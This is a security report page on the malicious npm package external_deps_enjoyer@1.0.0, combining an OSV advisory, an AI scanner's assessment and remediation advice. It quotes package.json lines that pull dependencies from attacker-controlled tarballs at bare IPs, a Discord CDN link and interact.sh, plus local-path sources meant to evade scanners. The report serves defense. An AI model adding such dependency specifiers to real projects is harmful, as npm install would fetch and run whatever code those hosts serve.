external_deps_enjoyer
This report shows the evidence for external_deps_enjoyer@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 1mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-16076 confirms this npm version as malicious.
Advisory
MAL-2026-16076
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in external_deps_enjoyer (npm)
Details
package.json declares dependencies and optionalDependencies whose specifiers point at non-registry, attacker-controlled or mutable sources rather than the npm registry. Listed sources include a Discord CDN attachment tarball (cdn.discordapp.com/attachments/.../runtime.tgz), plain-HTTP tarballs at bare IPs (http://203.0.113.77:8443/drop/pkg.tgz, HTTP://198.51.100.44/.../pkg.tgz), git://203.0.113.91/hidden/repo.git, an ngrok tunnel (abc123xyz.ngrok-free.app), rentry.co raw content, gist shorthands (gist:c0ffee00deadbeef), and github/gitlab/bitbucket shorthands to throwaway repos (tmp-drop-8821/...). Specifier keys are duplicated with case variants (tarball-http vs tarball-HTTP, github-shorthand vs GITHUB-shorthand) and mix uppercase URI schemes with scp-style git refs and local path forms (link:, portal:, file:, /tmp/..., \Windows\Temp\...), a pattern engineered to evade regex-based scanners. On npm install, npm fetches each specifier and executes any lifecycle scripts the fetched package declares; because the sources are mutable and controlled by third parties, the code that runs is whatever the operators of those hosts currently serve.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
This is a suspicious staged-payload carrier because installation resolves many unverified dependency sources, but direct malicious behavior is not present in the inspected source. A warning is appropriate rather than a block.
Static reason
One or more suspicious static signals were detected.
Trigger
Package installation with dependency resolution enabled.
Impact
Resolved dependencies could introduce unreviewed code and their own install behavior.
Mechanism
External and local dependency source injection through the manifest.
AI rationale
This is a suspicious staged-payload carrier because installation resolves many unverified dependency sources, but direct malicious behavior is not present in the inspected source. A warning is appropriate rather than a block.
Evidence
package.json
Network endpoints4
cdn.discordapp.com/attachments/111111111111111111/222222222222222222/runtime.tgz203.0.113.77:8443/drop/pkg.tgzHTTP://198.51.100.44/hidden/pkg.tgzinteract.sh/stage2/nested.tgz
Independent scan evidence
public snapshotAI called this Suspicious at 90.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for AI warning decision
- The manifest declares installable dependencies from arbitrary remote tarballs, including an HTTP source.
- It also declares git, local-path, link, and portal dependency sources that can substitute code during dependency resolution.
- The package is an inert carrier for unverified external dependency payloads.
Evidence against
- The package contains only package.json.
- No lifecycle scripts, package entry points, or executable source files are declared.
- No credential collection, file harvesting, network client code, or agent-control mutation is present in the inspected package source.
Behavioral surface
GitDependencyHttpDependencyNoLicense
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•dependencies changed=GITHUB-shorthand,bare-shorthand,bare-shorthand-ref,scp-like,ssh-proto
Critical
Manifest Confusion
Tarball package.json differs from the npm registry version manifest for scripts or dependency sets.
package.jsonView on unpkg5"dependencies": {
"tarball-https": "https://cdn.discordapp.[redacted].tgz",
"tarball-http": "http://203.0.113.77:8443/drop/pkg.tgz",
"tarball-HTTP": "HTTP://198.51.100.44/hidden/pkg.tgz",
High
Suspicious Dependency Evidence
The manifest declares installable dependencies from arbitrary remote tarballs, including an HTTP source.
package.jsonView on unpkg · L523"file-rel": "file:../.npm-cache",
"file-abs": "file:/tmp/.node_modules",
"yarn-link": "link:../.hidden",
"pnpm-portal": "portal:../.drop",
High
Suspicious Dependency Evidence
It also declares git, local-path, link, and portal dependency sources that can substitute code during dependency resolution.
package.jsonView on unpkg · L23Findings
1 Critical3 High4 Medium1 Low
CriticalManifest Confusionpackage.json
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidencepackage.json
MediumGit Dependency
MediumHttp Dependency
MediumRemote Tarball Dependencypackage.json
MediumKnown Collector Dependency Urlpackage.json
LowNo License
Affected versions and remediation
This report applies to external_deps_enjoyer@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing external_deps_enjoyer@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.